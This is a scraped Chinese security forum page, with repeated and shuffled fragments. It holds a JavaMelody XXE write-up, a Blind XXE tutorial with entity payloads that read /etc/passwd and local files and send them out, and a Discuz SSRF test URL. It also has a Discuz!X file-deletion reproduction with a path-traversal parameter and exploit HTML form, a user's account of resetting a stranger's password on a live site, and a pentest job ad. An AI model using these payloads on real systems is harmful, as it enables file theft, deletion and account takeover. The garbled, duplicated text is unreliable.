为什么这个漏洞随意发包即可触发漏洞呢？这和JavaMelody启动过程有关。在触发该漏洞后，我们在PayloadNameRequestWrapper中下断点：
通过调用历史信息可以发现，请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的，查看jar包发现，该拦截器是通过web-fragment.xml进行的配置：
在配置项中我们可以发现这个filter默认是处理所有请求：
因此，外部请求会进入MonitoringFilter的doFilter方法，之后调用了createRequestWrapper方法：
然后来到了PayloadNameRequestWrapper-> initialize方法中
在处理soap相关的content-type时，只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件，则调用parseSoapMethodName方法执行解析，继续跟进该方法：
0x03 漏洞修复
该漏洞修复比较简单，直接更新JavaMelody至1.74.0即可，或者自己写拦截器来处理恶意请求。
当然，值得注意的是，如果泄漏了/monitoring路由，其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能，比如执行gc，杀掉线程，查看SQL请求，查看系统信息、进程，查看数据库schema信息等。
0x00 概述
JavaMelody是一个用来对Java应用进行监控的组件。通过该组件，用户可以对内存、CPU、用户session甚至SQL请求等进行监控，并且该组件提供了一个可视化界面给用户使用。
最近，该组件被爆出一个XXE漏洞——CVE-2018-15531，由于该组件的启动特性，攻击者无需特定的权限即可发起攻击。
0x01 漏洞复现
我们使用SpringBoot web来搭建基础项目，然后将JavaMelody集成进来，在maven中配置如下：
访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功
由于这里是没有回显的，因此可以使用Blind XXE来读取文件进行攻击：
DTD文件构造如下：
在JavaMelody的默认配置下，直接发包就可以触发该漏洞。
需要注意的是，构造回显通道时，如果是低版本的jdk，可以直接使用gopher协议回传。如果是高版本jdk，则不支持gopher协议，那么可以使用FTP回显技巧来读取多行文件。
0x02 漏洞细节
我们先来看一下官方的补丁代码：
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
可以看到，官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码，禁用了外部实体解析和dtd实体解析。因此，很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢？这和JavaMelody启动过程有关。在触发该漏洞后，我们在PayloadNameRequestWrapper中下断点：
通过调用历史信息可以发现，请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的，查看jar包发现，该拦截器是通过web-fragment.xml进行的配置：
在配置项中我们可以发现这个filter默认是处理所有请求：
因此，外部请求会进入MonitoringFilter的doFilter方法，之后调用了createRequestWrapper方法：
然后来到了PayloadNameRequestWrapper-> initialize方法中
在处理soap相关的content-type时，只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件，则调用parseSoapMethodName方法执行解析，继续跟进该方法：
0x03 漏洞修复
该漏洞修复比较简单，直接更新JavaMelody至1.74.0即可，或者自己写拦截器来处理恶意请求。
当然，值得注意的是，如果泄漏了/monitoring路由，其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能，比如执行gc，杀掉线程，查看SQL请求，查看系统信息、进程，查看数据库schema信息等。
Blind XXE总结
Web安全渗透 • ttgo2 发表了文章 • 0 个评论 • 117 次浏览 • 2018-10-14 18:14
文章转载：http://blog.csdn.net/u011721501
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法，在XEE漏洞的基础上，发展出了Blind XXE漏洞。目前来看，XML文件作为配置文件（Spring、Struts2等）、文档结构说明文件（PDF、RSS等）、图片格式文件（SVG header）应用比较广泛，此外，网上有一些在线XML格式化工具也存在过问题，如开源中国的在线XML格式化工具XXE漏洞：
1、Blind XXE用途
对于传统的XXE来说，要求有一点，就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如：
提交请求：
<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>服务器在这个节点中返回etc/passwd的文件内容
<username>root:1:3.......</username>2、参数实体和内部参数实体
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体，一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体，也就是嵌套定义。
如
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>
但是在我研究过程中，发现内部实体的这支持与否也是取决于解释器的。
这也是比较蛋疼的特性，因为php，java，C#等语言的内置XML解析器都是有一定差别的，也就给漏洞利用带来不便
3、Blind XXE原理
带外数据通道的建立是使用嵌套形式，利用外部实体中的URL发出访问，从而跟攻击者的服务器发生联系。
直接在内部实体定义中引用另一个实体的方法如下，但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
！但是这样做行不通，原因是不能在实体定义中引用参数实体，即有些解释器不允许在内层实体中使用外部连接，无论内层是一般实体还是参数实体。
解决方案是：
将嵌套的实体声明放入到一个外部文件中，这里一般是放在攻击者的服务器上，这样做可以规避错误。
查看全部
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法，在XEE漏洞的基础上，发展出了Blind XXE漏洞。目前来看，XML文件作为配置文件（Spring、Struts2等）、文档结构说明文件（PDF、RSS等）、图片格式文件（SVG header）应用比较广泛，此外，网上有一些在线XML格式化工具也存在过问题，如开源中国的在线XML格式化工具XXE漏洞：
1、Blind XXE用途
对于传统的XXE来说，要求有一点，就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如：
提交请求：
<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>服务器在这个节点中返回etc/passwd的文件内容
<username>root:1:3.......</username>2、参数实体和内部参数实体
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体，一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体，也就是嵌套定义。
如
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>
但是在我研究过程中，发现内部实体的这支持与否也是取决于解释器的。
这也是比较蛋疼的特性，因为php，java，C#等语言的内置XML解析器都是有一定差别的，也就给漏洞利用带来不便
3、Blind XXE原理
带外数据通道的建立是使用嵌套形式，利用外部实体中的URL发出访问，从而跟攻击者的服务器发生联系。
直接在内部实体定义中引用另一个实体的方法如下，但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
！但是这样做行不通，原因是不能在实体定义中引用参数实体，即有些解释器不允许在内层实体中使用外部连接，无论内层是一般实体还是参数实体。
解决方案是：
将嵌套的实体声明放入到一个外部文件中，这里一般是放在攻击者的服务器上，这样做可以规避错误。
查看全部
文章转载：http://blog.csdn.net/u011721501
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法，在XEE漏洞的基础上，发展出了Blind XXE漏洞。目前来看，XML文件作为配置文件（Spring、Struts2等）、文档结构说明文件（PDF、RSS等）、图片格式文件（SVG header）应用比较广泛，此外，网上有一些在线XML格式化工具也存在过问题，如开源中国的在线XML格式化工具XXE漏洞：
1、Blind XXE用途
对于传统的XXE来说，要求有一点，就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如：
提交请求：
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体，一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体，也就是嵌套定义。
如
这也是比较蛋疼的特性，因为php，java，C#等语言的内置XML解析器都是有一定差别的，也就给漏洞利用带来不便
3、Blind XXE原理
带外数据通道的建立是使用嵌套形式，利用外部实体中的URL发出访问，从而跟攻击者的服务器发生联系。
直接在内部实体定义中引用另一个实体的方法如下，但是这种方法行不通。
解决方案是：
将嵌套的实体声明放入到一个外部文件中，这里一般是放在攻击者的服务器上，这样做可以规避错误。
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法，在XEE漏洞的基础上，发展出了Blind XXE漏洞。目前来看，XML文件作为配置文件（Spring、Struts2等）、文档结构说明文件（PDF、RSS等）、图片格式文件（SVG header）应用比较广泛，此外，网上有一些在线XML格式化工具也存在过问题，如开源中国的在线XML格式化工具XXE漏洞：
1、Blind XXE用途
对于传统的XXE来说，要求有一点，就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如：
提交请求：
服务器在这个节点中返回etc/passwd的文件内容
<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>
<username>root:1:3.......</username>2、参数实体和内部参数实体
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体，一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体，也就是嵌套定义。
如
<?xml version="1.0" encoding="UTF-8"?>但是在我研究过程中，发现内部实体的这支持与否也是取决于解释器的。
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>
这也是比较蛋疼的特性，因为php，java，C#等语言的内置XML解析器都是有一定差别的，也就给漏洞利用带来不便
3、Blind XXE原理
带外数据通道的建立是使用嵌套形式，利用外部实体中的URL发出访问，从而跟攻击者的服务器发生联系。
直接在内部实体定义中引用另一个实体的方法如下，但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>
但是这样做行不通，原因是不能在实体定义中引用参数实体，即有些解释器不允许在内层实体中使用外部连接，无论内层是一般实体还是参数实体。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
！
解决方案是：
将嵌套的实体声明放入到一个外部文件中，这里一般是放在攻击者的服务器上，这样做可以规避错误。
Discuz! SSRF无须登陆无须条件
渗透测试 • zksmile 发表了文章 • 0 个评论 • 131 次浏览 • 2018-10-12 18:58
0x01 前言
这个Discuz 的SSRF也是之前实战挖掘过程中经常遇到的一个洞，在这里分享给大家，以后遇到也可以测试一波。
0x02 漏洞分析
http://www.secevery.com:4321/bugs/wooyun-2015-0151179
0x03漏洞复现http://xxxx/forum.php?mod=ajax&action=downremoteimg&message=[img]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec465
这里我们准备一个远程的vps并开启web服务，也可以使用dnslog工具。
将message参数中的链接替换为vps的地址，然后发送请求。
通过判断web访问日志查看这个IP来判断目标是否存在SSRF漏洞。
3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。 查看全部
这个Discuz 的SSRF也是之前实战挖掘过程中经常遇到的一个洞，在这里分享给大家，以后遇到也可以测试一波。
0x02 漏洞分析
http://www.secevery.com:4321/bugs/wooyun-2015-0151179
0x03漏洞复现http://xxxx/forum.php?mod=ajax&action=downremoteimg&message=[img]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec465
这里我们准备一个远程的vps并开启web服务，也可以使用dnslog工具。
将message参数中的链接替换为vps的地址，然后发送请求。
通过判断web访问日志查看这个IP来判断目标是否存在SSRF漏洞。
3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。 查看全部
0x01 前言
这个Discuz 的SSRF也是之前实战挖掘过程中经常遇到的一个洞，在这里分享给大家，以后遇到也可以测试一波。
0x02 漏洞分析
http://www.secevery.com:4321/bugs/wooyun-2015-0151179
0x03漏洞复现
这里我们准备一个远程的vps并开启web服务，也可以使用dnslog工具。
将message参数中的链接替换为vps的地址，然后发送请求。
通过判断web访问日志查看这个IP来判断目标是否存在SSRF漏洞。
3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。
这个Discuz 的SSRF也是之前实战挖掘过程中经常遇到的一个洞，在这里分享给大家，以后遇到也可以测试一波。
0x02 漏洞分析
http://www.secevery.com:4321/bugs/wooyun-2015-0151179
0x03漏洞复现
http://xxxx/forum.php?mod=ajax&action=downremoteimg&message=[img]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec465
这里我们准备一个远程的vps并开启web服务，也可以使用dnslog工具。
将message参数中的链接替换为vps的地址，然后发送请求。
通过判断web访问日志查看这个IP来判断目标是否存在SSRF漏洞。
3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。
Discuz!X 3.4 任意文件删除漏洞
渗透测试 • zksmile 发表了文章 • 0 个评论 • 144 次浏览 • 2018-10-12 18:20
0x01 前言
Discuz!X社区软件，是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日，Discuz!修复了一个安全问题用于加强安全性，这个漏洞会导致前台用户可以导致任意删除文件漏洞。
2017年9月29日，知道创宇404 实验室开始应急，经过知道创宇404实验室分析确认，该漏洞于2014年6月被提交到Wooyun漏洞平台，Seebug漏洞平台收录了该漏洞，漏洞编号ssvid-93588。该漏洞通过配置属性值，导致任意文件删除。
经过分析确认，原有的利用方式已经被修复，添加了对属性的formtype判断，但修复方式不完全导致可以绕过，通过模拟文件上传可以进入其他unlink条件，实现任意文件删除漏洞。
0x02 影响范围Discuz!X ≤3.4
0x03 漏洞分析
https://lorexxar.cn/2017/09/30/dz-delete/
0x04 漏洞复现
1、注册一个用户并成功登陆，之后在【设置】中找到自己的formhash:
然后发送post请求home.php?mod=spacecp&ac=profile&op=base
POST的参数为：birthprovince=../../../robots.txt&profilesubmit=1&formhash=8b30b403
其中formhash替换为自己的formhash
刷新个人资料页面就会看到出生地已经被我们插入脏数据.
2.在本地新建一个up.html，将html中的ip改为目标，将formhash改为自己的。 <body>
<form action="http://【ip】/home.php?mod=spacecp&ac=profile&op=base" method="post" enctype="multipart/form-data">
<input type="hidden" name="formhash" value="4e34bb4d">
<input type="file" name="birthprovince" />
<input type="hidden" name="profilesubmit" value="1">
<input type="submit" value="upload" />
</form>
</body>打开up.html,在本地选择一张正常的图片上传，提交之后robots.txt已经被我们删除。
查看全部
Discuz!X社区软件，是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日，Discuz!修复了一个安全问题用于加强安全性，这个漏洞会导致前台用户可以导致任意删除文件漏洞。
2017年9月29日，知道创宇404 实验室开始应急，经过知道创宇404实验室分析确认，该漏洞于2014年6月被提交到Wooyun漏洞平台，Seebug漏洞平台收录了该漏洞，漏洞编号ssvid-93588。该漏洞通过配置属性值，导致任意文件删除。
经过分析确认，原有的利用方式已经被修复，添加了对属性的formtype判断，但修复方式不完全导致可以绕过，通过模拟文件上传可以进入其他unlink条件，实现任意文件删除漏洞。
0x02 影响范围Discuz!X ≤3.4
0x03 漏洞分析
https://lorexxar.cn/2017/09/30/dz-delete/
0x04 漏洞复现
1、注册一个用户并成功登陆，之后在【设置】中找到自己的formhash:
然后发送post请求home.php?mod=spacecp&ac=profile&op=base
POST的参数为：birthprovince=../../../robots.txt&profilesubmit=1&formhash=8b30b403
其中formhash替换为自己的formhash
刷新个人资料页面就会看到出生地已经被我们插入脏数据.
2.在本地新建一个up.html，将html中的ip改为目标，将formhash改为自己的。 <body>
<form action="http://【ip】/home.php?mod=spacecp&ac=profile&op=base" method="post" enctype="multipart/form-data">
<input type="hidden" name="formhash" value="4e34bb4d">
<input type="file" name="birthprovince" />
<input type="hidden" name="profilesubmit" value="1">
<input type="submit" value="upload" />
</form>
</body>打开up.html,在本地选择一张正常的图片上传，提交之后robots.txt已经被我们删除。
查看全部
0x01 前言
Discuz!X社区软件，是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日，Discuz!修复了一个安全问题用于加强安全性，这个漏洞会导致前台用户可以导致任意删除文件漏洞。
2017年9月29日，知道创宇404 实验室开始应急，经过知道创宇404实验室分析确认，该漏洞于2014年6月被提交到Wooyun漏洞平台，Seebug漏洞平台收录了该漏洞，漏洞编号ssvid-93588。该漏洞通过配置属性值，导致任意文件删除。
经过分析确认，原有的利用方式已经被修复，添加了对属性的formtype判断，但修复方式不完全导致可以绕过，通过模拟文件上传可以进入其他unlink条件，实现任意文件删除漏洞。
0x02 影响范围
0x03 漏洞分析
https://lorexxar.cn/2017/09/30/dz-delete/
0x04 漏洞复现
1、注册一个用户并成功登陆，之后在【设置】中找到自己的formhash:
然后发送post请求
刷新个人资料页面就会看到出生地已经被我们插入脏数据.
2.在本地新建一个up.html，将html中的ip改为目标，将formhash改为自己的。
Discuz!X社区软件，是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日，Discuz!修复了一个安全问题用于加强安全性，这个漏洞会导致前台用户可以导致任意删除文件漏洞。
2017年9月29日，知道创宇404 实验室开始应急，经过知道创宇404实验室分析确认，该漏洞于2014年6月被提交到Wooyun漏洞平台，Seebug漏洞平台收录了该漏洞，漏洞编号ssvid-93588。该漏洞通过配置属性值，导致任意文件删除。
经过分析确认，原有的利用方式已经被修复，添加了对属性的formtype判断，但修复方式不完全导致可以绕过，通过模拟文件上传可以进入其他unlink条件，实现任意文件删除漏洞。
0x02 影响范围
Discuz!X ≤3.4
0x03 漏洞分析
https://lorexxar.cn/2017/09/30/dz-delete/
0x04 漏洞复现
1、注册一个用户并成功登陆，之后在【设置】中找到自己的formhash:
然后发送post请求
home.php?mod=spacecp&ac=profile&op=base
POST的参数为：birthprovince=../../../robots.txt&profilesubmit=1&formhash=8b30b403
其中formhash替换为自己的formhash
刷新个人资料页面就会看到出生地已经被我们插入脏数据.
2.在本地新建一个up.html，将html中的ip改为目标，将formhash改为自己的。
<body>打开up.html,在本地选择一张正常的图片上传，提交之后robots.txt已经被我们删除。
<form action="http://【ip】/home.php?mod=spacecp&ac=profile&op=base" method="post" enctype="multipart/form-data">
<input type="hidden" name="formhash" value="4e34bb4d">
<input type="file" name="birthprovince" />
<input type="hidden" name="profilesubmit" value="1">
<input type="submit" value="upload" />
</form>
</body>
一发任意用户密码重置（一直在潜水，出来冒个泡）
渗透测试 • zzqsmile 发表了文章 • 10 个评论 • 299 次浏览 • 2018-10-12 11:23
今天运气真好，早上上班来随便在盒子转转，找到个任意密码重置，加入社区好长时间了，也没发过一篇文章。
原因嘛，小白一个实在想分享却拿不出东西上台面，今天就算是潜水的我出来冒个泡吧
1.来到某网站注册页面，习惯性输入手机号18888888888，发现已经注册
2.然后去找回密码页面，如下图，正常流程填写要找回的手机号，下一步 ：
3.然后下面一步是接收验证码，找回密码的关键地方到了
F12审查元素，修改手机号为自己手机号如下图所示
4.然后点击获取验证码，自己手机号收到验证码如下：
然后填写验证码，进行下一步
然后点击下一步成功来到了重置密码界面如下所示：
5.填写完新密码下一步，成功修改完毕，如下图所示：
6.最后我们看疗效
然后既然成功登陆了就随便看看呗
点击提现看看
很好奇，如果有钱能不能提现成功。
查看全部
原因嘛，小白一个实在想分享却拿不出东西上台面，今天就算是潜水的我出来冒个泡吧
1.来到某网站注册页面，习惯性输入手机号18888888888，发现已经注册
2.然后去找回密码页面，如下图，正常流程填写要找回的手机号，下一步 ：
3.然后下面一步是接收验证码，找回密码的关键地方到了
F12审查元素，修改手机号为自己手机号如下图所示
4.然后点击获取验证码，自己手机号收到验证码如下：
然后填写验证码，进行下一步
然后点击下一步成功来到了重置密码界面如下所示：
5.填写完新密码下一步，成功修改完毕，如下图所示：
6.最后我们看疗效
然后既然成功登陆了就随便看看呗
点击提现看看
很好奇，如果有钱能不能提现成功。
查看全部
今天运气真好，早上上班来随便在盒子转转，找到个任意密码重置，加入社区好长时间了，也没发过一篇文章。
原因嘛，小白一个实在想分享却拿不出东西上台面，今天就算是潜水的我出来冒个泡吧
1.来到某网站注册页面，习惯性输入手机号18888888888，发现已经注册
2.然后去找回密码页面，如下图，正常流程填写要找回的手机号，下一步 ：
3.然后下面一步是接收验证码，找回密码的关键地方到了
F12审查元素，修改手机号为自己手机号如下图所示
4.然后点击获取验证码，自己手机号收到验证码如下：
然后填写验证码，进行下一步
然后点击下一步成功来到了重置密码界面如下所示：
5.填写完新密码下一步，成功修改完毕，如下图所示：
6.最后我们看疗效
然后既然成功登陆了就随便看看呗
点击提现看看
很好奇，如果有钱能不能提现成功。
原因嘛，小白一个实在想分享却拿不出东西上台面，今天就算是潜水的我出来冒个泡吧
1.来到某网站注册页面，习惯性输入手机号18888888888，发现已经注册
2.然后去找回密码页面，如下图，正常流程填写要找回的手机号，下一步 ：
3.然后下面一步是接收验证码，找回密码的关键地方到了
F12审查元素，修改手机号为自己手机号如下图所示
4.然后点击获取验证码，自己手机号收到验证码如下：
然后填写验证码，进行下一步
然后点击下一步成功来到了重置密码界面如下所示：
5.填写完新密码下一步，成功修改完毕，如下图所示：
6.最后我们看疗效
然后既然成功登陆了就随便看看呗
点击提现看看
很好奇，如果有钱能不能提现成功。
北京云测Testin招聘渗透测试工程师
企业招聘专栏 • pygain 发表了文章 • 0 个评论 • 171 次浏览 • 2018-10-11 13:18
岗位名称：
渗透测试工程师
薪资范围:
15K~30K
岗位职责：
攻防渗透：对公司社区、电商、多个APP、Web网站、服务器等系统进行渗透测试，漏洞挖掘，并协助开发团队修复漏洞；安全研究：根据个人能力与学习兴趣，对Android/iOS、智能硬件设备、智能网联汽车进行最新的漏洞研究与渗透测试分析；
任职资格：
3至5年安全公司或互联网公司渗透测试经验。能力强者，不限工作经验；白帽子，过去或现在活跃于“乌云、补天、漏洞盒子、各大企业SRC”等白帽子众测平台，提交过较多高中危漏洞，应聘者请提供白帽子ID；精通APP和Web网站渗透测试技术、攻击方法、手工检测及防御方法，能够挖掘常见OWASP漏洞，包括：SQL注入、XSS、SSRF、文件上传、命令执行、文件包含、CSRF、XXE、Jsonp劫持等；熟悉业务逻辑漏洞挖掘，能够挖掘电商APP、社区APP、Web网站的逻辑漏洞，包括：电商常见逻辑漏洞（加车、下单、结算、支付等），账号体系常见逻辑漏洞（注册、登录、撞库、密码重置、验证码绕过等），水平垂直越权、社区视频刷人气、遍历发回帖、刷积分等；熟悉Android 或iOS应用逆向分析方法，有逆向破解实际例子。熟练使用Burpsuit、SQLMAP、Nmap、Metasploit、AWVS、Nessus、wireshark等工具进行渗透；熟悉Linux操作系统、Mysql、Redis、Nginx、网络等技术知识；熟悉Python语言，能够编写渗透脚本、扩展开源框架、开源产品优先；了解PHP、Java代码安全审计优先；
公司介绍：
Testin是一家致力于为移动互联网应用提供质量服务的创新型企业。是全球第一家也是最大一家针对移动端软件提供方位质量保障服务的企业。
Testin专注于面向全球范围内的移动互联网应用开发者，包括移动App开发者、移动游戏企业、互联网金融、O2O企业及互联网＋相关移动应用企业提供“一站式测试服务”。
Testin已经度过了艰难的创业期，进入快速发展阶段，但我们依旧保持着创业的激情，家长们都是技术出身的型男。
家庭特色：
★试用期五险一金★午餐补贴★生日会★定期团建★每年体检
★外出旅游★节日福利★期权奖励★年底奖金
★办公环境宽敞明亮★办公时间有弹性★健身休闲区随时开发★美女如云★领导nice
★扁平化企业管理，开放透明的文化氛围
只有你想不到，没有我们做不到！
小伙伴：
阿里云，360，IBM，友盟，微软，联想，天翼云，触控，机锋，上方网，芒果
工作地点：
●乘坐公交车可至酒仙桥商场站下车，途经公交车有（401路、402路、413路、445路、494路、503路、621路、659路、677路、701路、946路、988路、运通107线）
乘坐地铁可至14号线东风北桥站，C2东南门出口。
简历请投 xiwang@testin.cn
查看全部
渗透测试工程师
薪资范围:
15K~30K
岗位职责：
攻防渗透：对公司社区、电商、多个APP、Web网站、服务器等系统进行渗透测试，漏洞挖掘，并协助开发团队修复漏洞；安全研究：根据个人能力与学习兴趣，对Android/iOS、智能硬件设备、智能网联汽车进行最新的漏洞研究与渗透测试分析；
任职资格：
3至5年安全公司或互联网公司渗透测试经验。能力强者，不限工作经验；白帽子，过去或现在活跃于“乌云、补天、漏洞盒子、各大企业SRC”等白帽子众测平台，提交过较多高中危漏洞，应聘者请提供白帽子ID；精通APP和Web网站渗透测试技术、攻击方法、手工检测及防御方法，能够挖掘常见OWASP漏洞，包括：SQL注入、XSS、SSRF、文件上传、命令执行、文件包含、CSRF、XXE、Jsonp劫持等；熟悉业务逻辑漏洞挖掘，能够挖掘电商APP、社区APP、Web网站的逻辑漏洞，包括：电商常见逻辑漏洞（加车、下单、结算、支付等），账号体系常见逻辑漏洞（注册、登录、撞库、密码重置、验证码绕过等），水平垂直越权、社区视频刷人气、遍历发回帖、刷积分等；熟悉Android 或iOS应用逆向分析方法，有逆向破解实际例子。熟练使用Burpsuit、SQLMAP、Nmap、Metasploit、AWVS、Nessus、wireshark等工具进行渗透；熟悉Linux操作系统、Mysql、Redis、Nginx、网络等技术知识；熟悉Python语言，能够编写渗透脚本、扩展开源框架、开源产品优先；了解PHP、Java代码安全审计优先；
公司介绍：
Testin是一家致力于为移动互联网应用提供质量服务的创新型企业。是全球第一家也是最大一家针对移动端软件提供方位质量保障服务的企业。
Testin专注于面向全球范围内的移动互联网应用开发者，包括移动App开发者、移动游戏企业、互联网金融、O2O企业及互联网＋相关移动应用企业提供“一站式测试服务”。
Testin已经度过了艰难的创业期，进入快速发展阶段，但我们依旧保持着创业的激情，家长们都是技术出身的型男。
家庭特色：
★试用期五险一金★午餐补贴★生日会★定期团建★每年体检
★外出旅游★节日福利★期权奖励★年底奖金
★办公环境宽敞明亮★办公时间有弹性★健身休闲区随时开发★美女如云★领导nice
★扁平化企业管理，开放透明的文化氛围
只有你想不到，没有我们做不到！
小伙伴：
阿里云，360，IBM，友盟，微软，联想，天翼云，触控，机锋，上方网，芒果
工作地点：
●乘坐公交车可至酒仙桥商场站下车，途经公交车有（401路、402路、413路、445路、494路、503路、621路、659路、677路、701路、946路、988路、运通107线）
乘坐地铁可至14号线东风北桥站，C2东南门出口。
简历请投 xiwang@testin.cn
查看全部
岗位名称：
渗透测试工程师
薪资范围:
15K~30K
岗位职责：
任职资格：
公司介绍：
Testin是一家致力于为移动互联网应用提供质量服务的创新型企业。是全球第一家也是最大一家针对移动端软件提供方位质量保障服务的企业。
Testin专注于面向全球范围内的移动互联网应用开发者，包括移动App开发者、移动游戏企业、互联网金融、O2O企业及互联网＋相关移动应用企业提供“一站式测试服务”。
Testin已经度过了艰难的创业期，进入快速发展阶段，但我们依旧保持着创业的激情，家长们都是技术出身的型男。
家庭特色：
★试用期五险一金★午餐补贴★生日会★定期团建★每年体检
★外出旅游★节日福利★期权奖励★年底奖金
★办公环境宽敞明亮★办公时间有弹性★健身休闲区随时开发★美女如云★领导nice
★扁平化企业管理，开放透明的文化氛围
只有你想不到，没有我们做不到！
小伙伴：
阿里云，360，IBM，友盟，微软，联想，天翼云，触控，机锋，上方网，芒果
工作地点：
●乘坐公交车可至酒仙桥商场站下车，途经公交车有（401路、402路、413路、445路、494路、503路、621路、659路、677路、701路、946路、988路、运通107线）
乘坐地铁可至14号线东风北桥站，C2东南门出口。
简历请投 xiwang@testin.cn
渗透测试工程师
薪资范围:
15K~30K
岗位职责：
- 攻防渗透：对公司社区、电商、多个APP、Web网站、服务器等系统进行渗透测试，漏洞挖掘，并协助开发团队修复漏洞；
- 安全研究：根据个人能力与学习兴趣，对Android/iOS、智能硬件设备、智能网联汽车进行最新的漏洞研究与渗透测试分析；
任职资格：
- 3至5年安全公司或互联网公司渗透测试经验。能力强者，不限工作经验；
- 白帽子，过去或现在活跃于“乌云、补天、漏洞盒子、各大企业SRC”等白帽子众测平台，提交过较多高中危漏洞，应聘者请提供白帽子ID；
- 精通APP和Web网站渗透测试技术、攻击方法、手工检测及防御方法，能够挖掘常见OWASP漏洞，包括：SQL注入、XSS、SSRF、文件上传、命令执行、文件包含、CSRF、XXE、Jsonp劫持等；
- 熟悉业务逻辑漏洞挖掘，能够挖掘电商APP、社区APP、Web网站的逻辑漏洞，包括：电商常见逻辑漏洞（加车、下单、结算、支付等），账号体系常见逻辑漏洞（注册、登录、撞库、密码重置、验证码绕过等），水平垂直越权、社区视频刷人气、遍历发回帖、刷积分等；
- 熟悉Android 或iOS应用逆向分析方法，有逆向破解实际例子。
- 熟练使用Burpsuit、SQLMAP、Nmap、Metasploit、AWVS、Nessus、wireshark等工具进行渗透；
- 熟悉Linux操作系统、Mysql、Redis、Nginx、网络等技术知识；
- 熟悉Python语言，能够编写渗透脚本、扩展开源框架、开源产品优先；
- 了解PHP、Java代码安全审计优先；
公司介绍：
Testin是一家致力于为移动互联网应用提供质量服务的创新型企业。是全球第一家也是最大一家针对移动端软件提供方位质量保障服务的企业。
Testin专注于面向全球范围内的移动互联网应用开发者，包括移动App开发者、移动游戏企业、互联网金融、O2O企业及互联网＋相关移动应用企业提供“一站式测试服务”。
Testin已经度过了艰难的创业期，进入快速发展阶段，但我们依旧保持着创业的激情，家长们都是技术出身的型男。
家庭特色：
